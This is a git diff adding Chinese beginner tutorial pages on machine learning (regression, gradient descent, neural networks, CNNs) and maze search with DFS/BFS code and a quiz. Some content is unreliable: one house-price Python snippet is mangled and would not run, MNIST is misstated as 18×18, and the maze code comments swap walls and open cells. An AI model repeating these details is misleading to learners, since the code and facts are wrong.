+目前其实全学科都有向着 AI 走的趋势，例如量化金融，医疗，生物科学 (nature 的那篇有关氨基酸的重大发现真的很 cool)。他们很多都在用非常传统的机器学习算法，甚至有的大公司的算法岗在处理某些数据的时候，可能会先考虑用最简单的决策树试一试
+
+当然，在大语言模型出现的趋势下，很多学科的应用会被融合会被简化会被大一统 (科研人的崇高理想)，但是不得不提的是，传统的机器学习算法和模型仍然希望你能去了解甚至更进一步学习。
+
+除了能让你了解所谓前人的智慧，还可以给你带来更进一步的在数学思维，算法思维上的提高。
+
+## And more?
+
+我们对 AI 的定义如果仅仅只有这些内容，我认为还是太过于狭隘了，我们可以把知识规划，知识表征等等东西都可以将他划入 AI 的定义中去，当然这些还期待着你的进一步探索和思考~
+
+## 特别致谢
+
+非常荣幸能在本章中得到 IIPL 智能信息处理实验室 [http://iipl.net.cn](http://iipl.net.cn) 的宝贵贡献，衷心感谢他们的无私支持与帮助！
+
+<!-- 希望加入 IIPL？欢迎移步[SRT 社团介绍](SRT.md)～ -->
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习（AI）快速入门（quick start）.md b/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习（AI）快速入门（quick start）.md
new file mode 100644
index 0000000..7cfc340
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习（AI）快速入门（quick start）.md	
@@ -0,0 +1,455 @@
+# 机器学习（AI）快速入门（quick start）
+
+::: warning 😇 本章内容需要你掌握一定的 python 基础知识。
+
+如果你想要快速了解机器学习，并且动手尝试去实践他，你可以先阅览本部分内容。
+
+里面包含 python 内容的一点点基本语法包括 if,for 等语句，函数等概念即可，你可以遇到了再去学。
+
+就算没有编程基础也基本能看懂，选择着跳过吧
+
+当然我需要承认一点，为了让大家都可以看懂，我做了很多抽象，具有了很多例子，某些内容不太准确，这是必然的，最为准确的往往是课本上精确到少一个字都不行的概念，这是难以理解的。
+
+本篇内容只适合新手理解使用，所以不免会损失一些精度。
+:::
+
+## 什么是机器学习
+
+这个概念其实不需要那么多杂七杂八的概念去解释。
+
+首先你要认识到他是人工智能的一部分，不需要写任何与问题有关的特定代码。你把数据输入相关的算法里面，他给你总结相应的规律。
+
+我举个例子，你现在把他当成一个黑盒，不需要知道里面有什么，但是你知道他会回答你的问题。你想知道房价会怎么变动来决定现在买不买房。然后你给了他十年的房价数据，他发现每年都在涨，所以给你预测了一个数值。
+
+然后你给了他更多信息，比如说国家给出了某些条例，他分析这个条例一出，房价就会降低，他给你了个新的数据。
+
+因此我们得出一个结论：机器学习 ＝ 泛型算法。
+
+甚至深度学习，也只是机器学习的一部分，不过使用了更多技巧和方法，增大了计算能力罢了。
+
+![](https://cdn.xyxsw.site/boxcnbtaUStj8coQiNTmZzfWqNl.png)
+
+## 两种机器学习算法
+
+你可以把机器学习算法分为两大类：监督式学习（supervised Learning）和非监督式学习（unsupervised Learning）。要区分两者很简单，但也非常重要。
+
+### 监督式学习
+
+你是卖方的，你公司很大，因此你雇了一批新员工来帮忙。
+
+但是问题来了——虽然你可以一眼估算出房子的价格，但新员工却不像你这样经验丰富，他们不知道如何给房子估价。
+
+为了帮助你的新员工，你决定写一个可以根据房屋大小、地段以及同类房屋成交价等因素来评估一间房屋的价格的小软件。
+
+近三个月来，每当你的城市里有人卖了房子，你都记录了下面的细节——卧室数量、房屋大小、地段等等。但最重要的是，你写下了最终的成交价：
+
+![](https://cdn.xyxsw.site/boxcnL1MNHqAyDjcxIzjFTOdYtt.png)
+
+然后你让新人根据着你的成交价来估计新的数量
+
+![](https://cdn.xyxsw.site/boxcnwcDWIDvLnuvZ1uOb75QKPh.png)
+
+这就是监督学习，你有一个参照物可以帮你决策。
+
+### 无监督学习
+
+没有答案怎么办？
+
+你可以把类似的分出来啊！
+
+我举个例子，比如说警察叔叔要查晚上的现金流，看看有没有谁干了不好的事情，于是把数据拎出来。
+
+发现晚上十点到十二点间，多数的现金交易是几十块几百块。有十几个是交易几千块的。
+
+然后再把交易给私人账户的和公司账户的分开，发现只有一个是给个人账户的，发现他还是在酒店交易的！
+
+这下糟糕了，警察叔叔去那个酒店一查，果然发现了有人在干不好的事情。
+
+这其实就是一种经典的聚类算法
+
+![](https://cdn.xyxsw.site/boxcnSn17EC3YvEnA6GScKNAF3e.png)
+
+可以把特征不一样的数据分开，有非常多的操作，你感兴趣可以选择性的去了解一下。
+
+## 太酷炫了，但这也叫 AI？这也叫学习？
+
+作为人类的一员，你的大脑可以应付绝大多数情况，并且在没有任何明确指令时也能够学习如何处理这些情况。而目前的机器学习就是在帮助我们机器建立起解决问题的能力。
+
+但是目前的机器学习算法还没有那么强大——它们只能在非常特定的、有限的问题上有效。也许在这种情况下，「学习」更贴切的定义是「在少量样本数据的基础上找出一个公式来解决特定的问题」。
+
+但是「机器在少量样本数据的基础上找出一个公式来解决特定的问题」不是个好名字。所以最后我们用「机器学习」取而代之。而深度学习，则是机器在数据的基础上通过很深的网络（很多的公式）找一个及解决方案来解决问题。
+
+## 看看 Code
+
+如果你完全不懂机器学习知识，你可能会用一堆 if else 条件判断语句来判断比如说房价
+
+```python
+def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood):
+  price = 0  # In my area, the average house costs $200 per sqft
+  price_per_sqft = 200  i f neighborhood == "hipsterton":
+    # but some areas cost a bit more
+    price_per_sqft = 400  elif neighborhood == "skid row":
+    # and some areas cost less
+    price_per_sqft = 100  # start with a base price estimate based on how big the place is
+  price = price_per_sqft * sqft  # now adjust our estimate based on the number of bedrooms
+  if num_of_bedrooms == 0:
+    # Studio apartments are cheap
+    price = price — 20000
+  else:
+    # places with more bedrooms are usually
+    # more valuable
+    price = price + (num_of_bedrooms * 1000)
+    return price
+```
+
+假如你像这样瞎忙几个小时，最后也许会得到一些像模像样的东西。但是永远感觉差点东西。
+
+并且，你维护起来非常吃力，你只能不断地加 if else。
+
+现在看起来还好，但是如果有一万行 if else 呢？
+
+所以你最好考虑换一种方法：如果能让计算机找出实现上述函数功能的办法，岂不更好？只要返回的房价数字正确，谁会在乎函数具体干了些什么呢？
+
+```python
+def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood):
+    price = <电脑电脑快显灵>  
+    return price
+```
+
+如果你可以找到这么一个公式：
+
+Y(房价)=W(参数) \* X1(卧室数量) + W \*X2(面积) + W \* X3(地段)
+
+你是不是会舒服很多，可以把他想象成，你要做菜，然后那些参数就是佐料的配比
+
+有一种笨办法去求每一个参数的值：
+
+第一步：将所有参数都设置为 1
+
+```python
+def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood):
+    price = 0  # a little pinch of this
+    price += num_of_bedrooms *1.0  # and a big pinch of that
+    price += sqft * 1.0 # maybe a handful of this
+    price += neighborhood * 1.0  # and finally, just a little extra salt for good measure
+    price += 1.0  
+    return price
+```
+
+第二步把每个数值都带入进行运算。
+
+![](https://cdn.xyxsw.site/boxcniDICYiLh7ddcxEVrHxFODe.png)
+
+比如说，如果第一套房产实际成交价为 25 万美元，你的函数估价为 17.8 万美元，这一套房产你就差了 7.2 万。
+
+现在，将你的数据集中的每套房产估价偏离值平方后求和。假设你的数据集中交易了 500 套房产，估价偏离值平方求和总计为 86,123,373 美元。这个数字就是你的函数现在的「错误」程度。
+
+现在，将总和除以 500，得到每套房产的估价偏差的平均值。将这个平均误差值称为你函数的代价（cost）。
+
+如果你能通过调整权重，使得这个代价变为 0，你的函数就完美了。它意味着，根据输入的数据，你的程序对每一笔房产交易的估价都是分毫不差。所以这就是我们的目标——通过尝试不同的权重值，使代价尽可能的低。
+
+第三步：
+
+通过尝试所有可能的权重值组合，不断重复第二步。哪一个权重组合的代价最接近于 0，你就使用哪个。当你找到了合适的权重值，你就解决了问题！
+
+兴奋的时刻到了！
+
+挺简单的，对吧？想一想刚才你做了些什么。你拿到了一些数据，将它们输入至三个泛型的、简单的步骤中，最后你得到了一个可以对你所在区域任何房屋进行估价的函数。房价网站们，你们要小心了！
+
+但是下面的一些事实可能会让你更兴奋：
+
+1. 过去 40 年来，很多领域（如语言学、翻译学）的研究表明，这种「搅拌数字汤」（我编的词）的泛型学习算法已经超过了那些真人尝试明确规则的方法。机器学习的「笨」办法终于打败了人类专家。
+2. 你最后写出的程序是很笨的，它甚至不知道什么是「面积」和「卧室数量」。它知道的只是搅拌，改变数字来得到正确的答案。
+3. 你可能会对「为何一组特殊的权重值会有效」一无所知。你只是写出了一个你实际上并不理解却能证明有效的函数。
+4. 试想，如果你的预测函数输入的参数不是「面积」和「卧室数量」，而是一列数字，每个数字代表了你车顶安装的摄像头捕捉的画面中的一个像素。然后，假设预测的输出不是「价格」而是「方向盘转动角度」，这样你就得到了一个程序可以自动操纵你的汽车了！
+
+这可行吗？瞎尝试这不得尝试到海枯石烂？
+
+为了避免这种情况，数学家们找到了很多种[聪明的办法](https://en.wikipedia.org/wiki/Gradient_descent)来快速找到优秀的权重值。下面是一种：
+
+![](https://cdn.xyxsw.site/boxcnXkjzipUjgJpFYXaEhbEN8e.png)
+
+这就是被称为 loss 函数的东西。
+
+这是个专业属于，你可以选择性忽略他，我们将它改写一下
+
+![](https://cdn.xyxsw.site/boxcnXbd7bqnqPwF8f1Up8rHq5e.png)
+
+*θ 表示当前的权重值。J(θ) 表示「当前权重的代价」。*
+
+这个等式表示，在当前权重值下，我们估价程序的偏离程度。
+
+如果我们为这个等式中所有卧室数和面积的可能权重值作图的话，我们会得到类似下图的图表：
+
+![](https://cdn.xyxsw.site/boxcniBPPpszGhbOWGpvto38Alf.png)
+
+因此，我们需要做的只是调整我们的权重，使得我们在图上朝着最低点「走下坡路」。如果我们不断微调权重，一直向最低点移动，那么我们最终不用尝试太多权重就可以到达那里。
+
+如果你还记得一点微积分的话，你也许记得如果你对一个函数求导，它会告诉你函数任意一点切线的斜率。换句话说，对于图上任意给定的一点，求导能告诉我们哪条是下坡路。我们可以利用这个知识不断走向最低点。
+
+所以，如果我们对代价函数关于每一个权重求偏导，那么我们就可以从每一个权重中减去该值。这样可以让我们更加接近山底。一直这样做，最终我们将到达底部，得到权重的最优值。（读不懂？不用担心，继续往下读）。
+
+这种为函数找出最佳权重的方法叫做批量梯度下降（Batch Gradient Descent）。
+
+当你使用一个机器学习算法库来解决实际问题时，这些都已经为你准备好了。但清楚背后的原理依然是有用的。
+
+![](https://cdn.xyxsw.site/boxcn2xlALHL53uUMXSHjloWiOe.jpg)
+
+枚举法
+
+上面我描述的三步算法被称为多元线性回归（multivariate linear regression）。你在估算一个能够拟合所有房价数据点的直线表达式。然后，你再根据房子可能在你的直线上出现的位置，利用这个等式来估算你从未见过的房屋的价格。这是一个十分强大的想法，你可以用它来解决「实际」问题。
+
+但是，尽管我展示给你的这种方法可能在简单的情况下有效，它却不能应用于所有情况。原因之一，就是因为房价不会是简简单单一条连续的直线。
+
+不过幸运的是，有很多办法来处理这种情况。有许多机器学习算法可以处理非线性数据。除此之外，灵活使用线性回归也能拟合更复杂的线条。在所有的情况下，寻找最优权重这一基本思路依然适用。
+
+**如果你还是无法理解，你可以将 cost 类比为你出错误的程度，而数学科学家找到各种方法来降低这种程度，当程度降到最低时，我们就可以知道我们要求的数值了**
+
+另外，我忽略了过拟合（overfitting）的概念。得到一组能完美预测原始数据集中房价的权重组很简单，但用这组权重组来预测原始数据集之外的任何新房屋其实都不怎么准确。这也是有许多解决办法的（如[正则化](https://en.wikipedia.org/wiki/Regularization_(mathematics))以及使用[交叉验证](https://en.wikipedia.org/wiki/Cross-validation_(statistics))的数据集）。学习如何应对这一问题，是学习如何成功应用机器学习技术的重点之一。
+
+换言之，尽管基本概念非常简单，要通过机器学习得到有用的结果还是需要一些技巧和经验的。但是，这是每个开发者都能学会的技巧。
+
+## 更为智能的预测
+
+我们通过上一次的函数假设已经得到了一些值。
+
+```python
+def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood):
+    price = 0# a little pinch of this
+    price += num_of_bedrooms * 0.123# and a big pinch of that
+    price += sqft * 0.41# maybe a handful of this
+    price += neighborhood * 0.57
+    return price
+```
+
+我们换一个好看的形式给他展示
+
+![](https://cdn.xyxsw.site/boxcnhbR6lGSXd6UAEpRvSIYSHg.png)
+
+*箭头头表示了函数中的权重。*
+
+然而，这个算法仅仅能用于处理一些简单的问题，就是那些输入和输出有着线性关系的问题。但如果真实价格和决定因素的关系并不是如此简单，那我们该怎么办？比如说，地段对于大户型和小户型的房屋有很大影响，然而对中等户型的房屋并没有太大影响。那我们该怎么在我们的模型中收集这种复杂的信息呢？
+
+所以为了更加的智能化，我们可以利用不同的权重来多次运行这个算法，收集各种不同情况下的估价。
+
+![](https://cdn.xyxsw.site/boxcnpDPWKnB6x4fQmGpyvLQJLf.png)
+
+然后我们把四种整合到一起，就得到一个超级答案
+
+![](https://cdn.xyxsw.site/boxcnplbH8Ot0U6cuLHStDmXyze.png)
+
+这样我们相当于得到了更为准确的答案
+
+## 神经网络是什么
+
+![](https://cdn.xyxsw.site/boxcnhLjMMdts91f8gcpgSVE8Ed.png)
+
+我们把四个超级网络的结合图整体画出来，其实这就是个超级简单的神经网络，虽然我们省略了很多的内容，但是他仍然有了一定的拟合能力
+
+最重要的是下面的这些内容：
+
+我们制造了一个权重 × 因素的简单函数，我们把这个函数叫做神经元。
+
+通过连接许许多多的简单神经元，我们能模拟那些不能被一个神经元所模拟的函数。
+
+通过对这些神经元的有效拼接，我们可以得到我们想要的结果。
+
+当我用 pytorch 写对一个函数拟合时
+
+```python
+import torch
+
+x_data =torch.Tensor ([[1.0],[2.0], [3.0]])
+y_data = torch.Tensor([[2.0], [4.0], [6.0]])
+
+class LinearModel(torch.nn.Module):
+    def __init__(self):
+        super(LinearModel,self).__init__()
+        self.linear=torch.nn.Linear(1,1)
+
+    def forward(self,x):
+        y_pred=self.linear(x)
+        return y_pred
+'''
+线性模型所必须的前馈传播，即 wx+b
+'''
+
+model=LinearModel()
+#对于对象的直接使用
+criterion=torch.nn.MSELoss()
+#损失函数的计算
+optimizer=torch.optim.SGD(model.parameters(),lr=0.01)
+#优化器
+for epoch in range(100):
+    y_pred=model(x_data)
+    loss=criterion(y_pred,y_data)
+    print(epoch,loss)
+
+    optimizer.zero_grad()
+    loss.backward()
+    #反向传播
+    optimizer.step()
+    #数值更新
+    print('w=',model.linear.weight.item())
+    print('b=',model.linear.bias.item())
+
+x_test=torch.Tensor([[4.0]])
+y_test=model(x_test)
+print('y_pred=',y_test.data)
+```
+
+## 由浅入深（不会涉及代码）
+
+::: warning 😇 为什么不教我写代码？
+
+因为你可能看这些基础知识感觉很轻松毫无压力，但是倘若附上很多代码，会一瞬间拉高这里的难度，虽然仅仅只是调包。
+
+但是我还是会在上面贴上一点代码，但不会有很详细的讲解，因为很多都是调包，没什么好说的，如果你完全零基础，忽略这部分内容即可
+
+:::
+
+我们尝试做一个神奇的工作，那就是用神经网络来识别一下手写数字，听上去非常不可思议，但是我要提前说的一点是，图像也不过是数据的组合，每一张图片有不同程度的像素值，如果我们把每一个像素值都当成神经网络的输入值，然后经过一个黑盒，让他识别出一个他认为可能的数字，然后进行纠正即可。
+
+机器学习只有在你拥有数据（最好是大量数据）的情况下，才能有效。所以，我们需要有大量的手写「8」来开始我们的尝试。幸运的是，恰好有研究人员建立了《MNIST 手写数字数据库》 ，它能助我们一臂之力。MNIST 提供了 60,000 张手写数字的图片，每张图片分辨率为 18×18。即有这么多的数据。
+
+```python
+(X_train, y_train), (X_test, y_test) = mnist.load_data()
+#这段是导入 minist 的方法，但是你看不到，如果你想看到的话需要其他操作
+```
+
+我们试着只识别一个数字 8
+
+![](https://cdn.xyxsw.site/boxcnOvoCMEuaMIpKZkfoFLDitf.png)
+
+![](https://cdn.xyxsw.site/boxcnZQnrltieoJ93DT79pyX45e.png)
+
+我们把一幅 18×18 像素的图片当成一串含有 324 个数字的数组，就可以把它输入到我们的神经网络里面了：
+
+![](https://cdn.xyxsw.site/boxcnZ6bzfOUDQgPAJrKI7Pp3Yc.png)
+
+为了更好地操控我们的输入数据，我们把神经网络的输入节点扩大到 324 个：
+
+![](https://cdn.xyxsw.site/boxcnha4DXsSfAUIYbCQqAx6QKd.png)
+
+请注意，我们的神经网络现在有了两个输出（而不仅仅是一个房子的价格）。第一个输出会预测图片是「8」的概率，而第二个则输出不是「8」的概率。概括地说，我们就可以依靠多种不同的输出，利用神经网络把要识别的物品进行分组。
+
+```python
+model = Sequential([Dense(32, input_shape=(784,)), 
+  Activation('relu'),Dense(10),Activation('softmax')])
+# 你也可以通过 .add() 方法简单地添加层：  
+model = Sequential() 
+model.add(Dense(32, input_dim=784)) 
+model.add(Activation('relu'))# 激活函数，你可以理解为加上这个东西可以让他效果更好
+```
+
+虽然我们的神经网络要比上次大得多（这次有 324 个输入，上次只有 3 个！），但是现在的计算机一眨眼的功夫就能够对这几百个节点进行运算。当然，你的手机也可以做到。
+
+现在唯一要做的就是用各种「8」和非「8」的图片来训练我们的神经网络了。当我们喂给神经网络一个「8」的时候，我们会告诉它是「8」的概率是 100% ，而不是「8」的概率是 0%，反之亦然。
+
+## 仅此而已吗
+
+当数字并不是正好在图片中央的时候，我们的识别器就完全不工作了。一点点的位移我们的识别器就掀桌子不干了
+
+![](https://cdn.xyxsw.site/boxcnShOBEoOhsJLR6L5xyr7INb.png)
+
+这是因为我们的网络只学习到了正中央的「8」。它并不知道那些偏离中心的「8」长什么样子。它仅仅知道中间是「8」的图片规律。
+
+在真实世界中，这种识别器好像并没什么卵用。真实世界的问题永远不会如此轻松简单。所以，我们需要知道，当「8」不在图片正中时，怎么才能让我们的神经网络识别它。
+
+### 暴力方法：更多的数据和更深的网络
+
+他不能识别靠左靠右的数据？我们都给他！给他任何位置的图片！
+
+或者说，我们可以用一些库把图片进行一定的裁剪，翻转，甚至添加一些随机噪声。
+
+如果这些都识别一遍，那不是都懂了吗？
+
+当然，你同时也需要更强的拟合能力和更深的网络。
+
+![](https://cdn.xyxsw.site/boxcnLwoxR6OC3ZBxqtMcKg4v6b.png)
+
+![](https://cdn.xyxsw.site/boxcnIcHcRF34F6jJgTRvhyAevc.png)
+
+一层一层堆叠起来，这种方法很早就出现了。
+
+### 更好的方法？
+
+你可以通过卷积神经网络进行进一步的处理
+
+作为人类，你能够直观地感知到图片中存在某种层级（hierarchy）或者是概念结构（conceptual structure）。比如说，你在看
+
+![](https://cdn.xyxsw.site/boxcndjXp5ayczwemklMk9ZA3ig.jpg)
+
+你会快速的辨认出一匹马，一个人。
+
+当这些东西换个地方出现的时候，他该是马还是马该是人还是人。
+
+但是现在，我们的神经网络做不到这些。它认为「8」出现在图片的不同位置，就是不一样的东西。它不能理解「物体出现在图片的不同位置还是同一个物体」这个概念。这意味着在每种可能出现的位置上，它必须重新学习识别各种物体。
+
+有人对此做过研究，人的眼睛可能会逐步判断一个物体的信息，比如说你看到一张图片，你会先看颜色，然后看纹理然后再看整体，那么我们需要一种操作来模拟这个过程，我们管这种操作叫卷积操作。
+
+![](https://cdn.xyxsw.site/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png)
+
+### 卷积是如何工作的
+
+之前我们提到过，我们可以把一整张图片当做一串数字输入到神经网络里面。不同的是，这次我们会利用**平移不变性**的概念来把这件事做得更智能。
+
+当然也有最新研究说卷积不具备平移不变性，但是我这里使用这个概念是为了大伙更好的理解，举个例子：你将 8 无论放在左上角还是左下角都改变不了他是 8 的事实
+
+![](https://cdn.xyxsw.site/boxcnHo4tt4wmnC7sUykRPPLKmm.png)
+
+我们将一张图像分成这么多个小块，然后输入神经网络中的是一个小块。*每次判断一张小图块。*
+
+然而，有一个非常重要的不同：对于每个小图块，我们会使用同样的神经网络权重。换一句话来说，我们平等对待每一个小图块。如果哪个小图块有任何异常出现，我们就认为这个图块是「异常」
+
+![](https://cdn.xyxsw.site/boxcnCxlvaanbzweMmeCOsp1xKf.png)
+
+换一句话来说，我们从一整张图片开始，最后得到一个稍小一点的数组，里面存储着我们图片中的哪一部分有异常。
+
+### 池化层
+
+图像可能特别大。比如说 1024*1024 再来个颜色 RGB
+
+那就有 1024*1024*3 这么多的数据，这对计算机来说去处理是不可想象的占用计算资源，所以我们需要用一种方式来降低他的计算量并且尽可能地保证丢失的数据不多。
+
+让我们先来看每个 2×2 的方阵数组，并且留下最大的数：
+
+![](https://cdn.xyxsw.site/boxcnquKepO4wJ74KfNIy3LtqVg.png)
+
+每一波我们只保留一个数，这样就大大减少了图片的计算量了。
+
+当然你也可以不选最大的，池化有很多种方式。
+
+这损失也太大了吧！
+
+这样子搞不会很糟糕么？确实，他会损失大量的数据，也正因如此，我们需要往里面塞大量的数据，有的数据集大的超乎你的想象，你可以自行查阅 imagenet 这种大型数据集。
+
+当然，还有一些未公开的商用数据集，它们的数量更为庞大，运算起来更为复杂。
+
+尽管如此，我们依然要感谢先驱，他们让一件事从能变成了不能
+
+我们也要感谢显卡，这项技术早就出现了但是一直算不了，有了显卡让这件事成为了可能。
+
+### 作出预测
+
+到现在为止，我们已经把一个很大的图片缩减到了一个相对较小的数组。
+
+你猜怎么着？数组就是一串数字而已，所以我们我们可以把这个数组输入到另外一个神经网络里面去。最后的这个神经网络会决定这个图片是否匹配。为了区分它和卷积的不同，我们把它称作「全连接」网络
+
+![](https://cdn.xyxsw.site/boxcnDqrUZwXHzgmLR6yvbYSgsV.png)
+
+我们的图片处理管道是一系列的步骤：卷积、最大池化，还有最后的「全连接」网络。
+
+你可以把这些步骤任意组合、堆叠多次，来解决真实世界中的问题！你可以有两层、三层甚至十层卷积层。当你想要缩小你的数据大小时，你也随时可以调用最大池化函数。
+
+我们解决问题的基本方法，就是从一整个图片开始，一步一步逐渐地分解它，直到你找到了一个单一的结论。你的卷积层越多，你的网络就越能识别出复杂的特征。
+
+比如说，第一个卷积的步骤可能就是尝试去识别尖锐的东西，而第二个卷积步骤则是通过找到的尖锐物体来找鸟类的喙，最后一步是通过鸟喙来识别整只鸟，以此类推。
+
+## 结语
+
+这篇文章仅仅只是粗略的讲述了一些机器学习的一些基本操作，如果你要更深一步学习的话你可能还需要更多的探索。
+
+## 参考资料
+
+[machine-learning-for-software-engineers/README-zh-CN.md at master · ZuzooVn/machine-learning-for-sof](https://github.com/ZuzooVn/machine-learning-for-software-engineers/blob/master/README-zh-CN.md#%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E6%A6%82%E8%AE%BA)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md
new file mode 100644
index 0000000..d939b2b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md
@@ -0,0 +1,209 @@
+# 程序示例——maze 迷宫解搜索
+
+::: warning 😋
+阅读程序中涉及搜索算法的部分，然后运行程序，享受机器自动帮你寻找路径的快乐！
+完成习题
+:::
+
+::: tip 📥
+本节附件下载 <Download url="https://cdn.xyxsw.site/code/1-Lecture.zip"/>
+:::
+
+## Node
+
+```python
+# 节点类 Node
+class Node:
+    def __init__(self, state, parent, action):
+        self.state = state        # 存储该结点的迷宫状态（即位置）
+        self.parent = parent      # 存储父结点
+        self.action = action      # 存储采取的行动
+```
+
+## 节点复习
+
+- 节点是一种包含以下数据的数据结构：
+  - 状态——state
+  - 其父节点，通过该父节点生成当前节点——parent node
+  - 应用于父级状态以获取当前节点的操作——action
+  - 从初始状态到该节点的路径成本——path cost
+
+## 堆栈边域——DFS
+
+```python
+class StackFrontier:  # 堆栈边域
+    def __init__(self):
+        self.frontier = []  # 边域
+    def add(self, node):  # 堆栈添加结点
+        self.frontier.append(node)
+    def contains_state(self, state):
+        return any(node.state == state for node in self.frontier)
+    def empty(self):  # 判断边域为空
+        return len(self.frontier) == 0
+    def remove(self):  # 移除结点
+        if self.empty():
+            raise Exception("empty frontier")
+        else:
+            node = self.frontier[-1]
+            self.frontier = self.frontier[:-1]
+            return node
+```
+
+## 深度优先搜索复习
+
+深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下，边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后，第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法，该算法在第一个方向上尽可能深入，直到尽头，同时将所有其他方向留到后面。“不撞南墙不回头”
+
+## 队列边域——BFS
+
+```python
+class QueueFrontier(StackFrontier):  # 队列边域
+    def remove(self):
+        if self.empty():
+            raise Exception("empty frontier")
+        else:
+            node = self.frontier[0]
+            self.frontier = self.frontier[1:]
+            return node
+```
+
+## 广度优先搜索复习
+
+广度优先搜索算法将同时遵循多个方向，在每个可能的方向上迈出一步，然后在每个方向上迈出第二步。在这种情况下，边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下，所有新节点都会排成一行，并根据先添加的节点来考虑节点（先到先得！）。这导致搜索算法在任何一个方向上迈出第二步之前，在每个可能的方向上迈出一步。
+
+## 迷宫解——Maze_solution
+
+```python
+class Maze:
+    def __init__(self, filename):  # 读入迷宫图
+        # 读入文件，设置迷宫大小
+        with open(filename) as f:
+            contents = f.read()
+        # 验证起点和目标
+        if contents.count("A") != 1:
+            raise Exception("maze must have exactly one start point")
+        if contents.count("B") != 1:
+            raise Exception("maze must have exactly one goal")
+        # 绘制迷宫大小
+        contents = contents.splitlines()
+        self.height = len(contents)
+        self.width = max(len(line) for line in contents)
+        # 绘制迷宫墙，起点，终点
+        self.walls = []
+        for i in range(self.height):
+            row = []
+            for j in range(self.width):
+                try:
+                    if contents[i][j] == "A":    # 设置起点
+                        self.start = (i, j)
+                        row.append(False)
+                    elif contents[i][j] == "B":
+                        self.goal = (i, j)       # 设置终点
+                        row.append(False)
+                    elif contents[i][j] == " ":
+                        row.append(False)        # 设置墙体
+                    else:
+                        row.append(True)         # 可移动的点为 True
+                except IndexError:
+                    row.append(False)
+            self.walls.append(row)
+        self.solution = None
+    # 打印结果
+    def print(self):
+        ...
+    # 寻找邻结点，返回元组 (动作，坐标 (x,y))
+    def neighbors(self, state):
+        row, col = state
+        candidates = [
+            ("up", (row - 1, col)),
+            ("down", (row + 1, col)),
+            ("left", (row, col - 1)),
+            ("right", (row, col + 1))
+        ]
+        result = []
+        for action, (r, c) in candidates:
+            if 0 <= r < self.height and 0 <= c < self.width and not self.walls[r][c]:
+                result.append((action, (r, c)))
+        return result
+    def solve(self):
+        # 搜索迷宫解
+        self.num_explored = 0   # 已搜索的路径长度
+        # 将边界初始化为起始位置
+        start = Node(state=self.start, parent=None, action=None)
+        frontier = StackFrontier()  # 采用 DFS
+        # frontier = QueueFrontier()  # 采用 BFS
+        frontier.add(start)
+        # 初始化一个空的探索集
+        self.explored = set()  # 存储已搜索的结点
+        # 保持循环直到找到解决方案
+        while True:
+            # 无解情况
+            if frontier.empty():
+                raise Exception("no solution")
+            # 从边界中选择一个节点
+            node = frontier.remove()
+            self.num_explored += 1
+            # 得到解决路径
+            if node.state == self.goal:
+                actions = []
+                cells = []
+                while node.parent is not None:  # 遍历父节点得到路径动作
+                    actions.append(node.action)
+                    cells.append(node.state)
+                    node = node.parent
+                actions.reverse()
+                cells.reverse()
+                self.solution = (actions, cells)
+                return
+            # 将节点标记为已探索
+            self.explored.add(node.state)
+            # 将邻居添加到边界（展开节点）
+            for action, state in self.neighbors(node.state):
+                if not frontier.contains_state(state) and state not in self.explored:
+                    child = Node(state=state, parent=node, action=action)
+                    frontier.add(child)
+    def output_image(self, filename, show_solution=True, show_explored=False):
+        ...
+```
+
+## Quiz
+
+1. 在深度优先搜索（DFS）和广度优先搜索（BFS）之间，哪一个会在迷宫中找到更短的路径？
+   1. DFS 将始终找到比 BFS 更短的路径
+   2. BFS 将始终找到比 DFS 更短的路径
+   3. DFS 有时（但并非总是）会找到比 BFS 更短的路径
+   4. BFS 有时（但并非总是）会找到比 DFS 更短的路径
+   5. 两种算法总是能找到相同长度的路径
+2. 下面的问题将问你关于下面迷宫的问题。灰色单元格表示墙壁。在这个迷宫上运行了一个搜索算法，找到了从 A 点到 B 点的黄色突出显示的路径。在这样做的过程中，红色突出显示的细胞是探索的状态，但并没有达到目标。
+
+    ![](https://cdn.xyxsw.site/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png)
+
+    在讲座中讨论的四种搜索算法中——深度优先搜索、广度优先搜索、曼哈顿距离启发式贪婪最佳优先搜索和曼哈顿距离启发式$A^*$
+
+    搜索——可以使用哪一种（或多种，如果可能的话）？
+   1. 只能是$A^*$
+   2. 只能是贪婪最佳优先搜索
+   3. 只能是 DFS
+   4. 只能是 BFS
+   5. 可能是$A^*$或贪婪最佳优先搜索
+   6. 可以是 DFS 或 BFS
+   7. 可能是四种算法中的任何一种
+   8. 不可能是四种算法中的任何一种
+3. 为什么有深度限制的极大极小算法有时比没有深度限制的极大极小更可取？
+   1. 深度受限的极大极小算法可以更快地做出决定，因为它探索的状态更少
+   2. 深度受限的极大极小算法将在没有深度限制的情况下实现与极大极小算法相同的输出，但有时会使用较少的内存
+   3. 深度受限的极大极小算法可以通过不探索已知的次优状态来做出更优化的决策
+   4. 深度限制的极小极大值永远不会比没有深度限制的极大极小值更可取
+4. 下面的问题将询问您关于下面的 Minimax 树，其中绿色向上箭头表示 MAX 玩家，红色向下箭头表示 MIN 玩家。每个叶节点都标有其值。
+
+![](https://cdn.xyxsw.site/UVssbyMxCoEQSuxvjh3caWAFnOb.png)
+
+根节点的值是多少？
+
+   1. 2
+   2. 3
+   3. 4
+   4. 5
+   5. 6
+   6. 7
+   7. 8
+   8. 9
